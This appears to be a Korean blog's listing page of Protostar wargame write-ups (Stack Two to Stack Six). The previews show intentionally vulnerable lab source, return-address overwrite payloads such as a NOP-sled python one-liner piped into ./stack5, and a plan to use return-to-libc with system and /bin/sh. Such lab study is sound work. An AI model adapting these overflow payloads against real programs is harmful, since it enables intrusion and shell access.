SMALL

Pwnable 48

[Protostar] Stack Six!!!!

소스코드 날래 확인하라우!! 이야 코드가 길어졌네요 ret에 이상한 값을 대입해주고 비교하는데 ret과 0xb000000을 &연산해서 0xb000000와 같으면 프로그램이 종료되네요 저기서 &연산해서 0xb000000와 같으면 종료된다는 말이 ret이 0xb로 시작하면 프로그램이 종료된다는 겁니다 그래서 변수에 쉘코드를 넣는 방식과 환경변수로 쉘코드의 주소를 이용하는 방식이 막히겠네요 이때 RTL을 사용해볼 겁니다! system 주소와 인자에 들어가 /bin/sh의 주소를 구해봅시당 https://qpalzm1029.tistory.com/26 [FTZ] level11 풀이!!! 로그인해서 ls로 무슨 파일들이 있는지 확인해봅니다 hint 파일과 attackme 파일이 있네요 file 명령어로 파일을 확인..

Pwnable/Protostar 2022.05.25

[Protostar] Stack Five 문제 풀이!!!

E nānā i ke kumu kumu!! 갱장히 코드가 짧네요 환경변수로 쉘코드의 주소를 넣는 방식으로 문제를 해결해 보겠습니당 환경변수를 설정했고 이제 환경변수 안에 넣은 쉘코드의 주소를 알아보죠 컴파일 후 실행을 시켜 주소를 구해봅시당 주소가 나왔네요 이제 얼마큼 넣어줄지 gdb로 알아봅시다 ebp-64에 있으니 SFP까지 4byte 더한 후 RET에 아까 구한 쉘코드의 주소를 넣어주면 쉘이 따이겠습니다 Payload = (python -c 'print "\x90"*68 + "\x18\xff\xff\xbf"'; cat) | ./stack5

Pwnable/Protostar 2022.05.24

[Protostar] Star Four 문제 풀이!!

Kiểm tra mã nguồn !! #include #include #include #include void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); } gets()로 buffer를 입력 받는데 buffer를 채워준 후 RET에 win의 주소를 넣으면 될 것 같습니다 gdb로 분석해보겠습니다 dummy값을 68바이트만큼 채우고 RET 주소에 win() 함수의 주소를 넣으면 되겠습니다 win의 주소는 0x80483f8이네요 Payload = (python -c 'print "\x90"*68 + "\xf8\x83\x04\x08"'; ca..

Pwnable/Protostar 2022.05.20

[Protostar] Stack Three 문제 풀이!!!

thtmzhem ghkrdls!!! #include #include #include #include void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { volatile int (*fp)(); char buffer[64]; fp = 0; gets(buffer); if(fp) { printf("calling function pointer, jumping to 0x%08x\n", fp); fp(); } } fp라는 포인터형 변수가 있네요 buffer와 fp를 사이를 채운 후에 fp에 저장된 주소의 함수를 실행시키는 곳에 win() 함수의 주소를 넣으면 되겠네요 두 사이의 거리는 64이고 win()..

Pwnable/Protostar 2022.05.20

[Protostar] Stack Two 문제 풀이!!!

음 올릴 게 딱히 없어서 Protostar나 올려보려고 합니다 #include #include #include #include int main(int argc, char **argv) { volatile int modified; char buffer[64]; char *variable; variable = getenv("GREENIE"); if(variable == NULL) { errx(1, "please set the GREENIE environment variable\n"); } modified = 0; strcpy(buffer, variable); if(modified == 0x0d0a0d0a) { printf("you have correctly modified the variable\n"); }..

Pwnable/Protostar 2022.05.17
LIST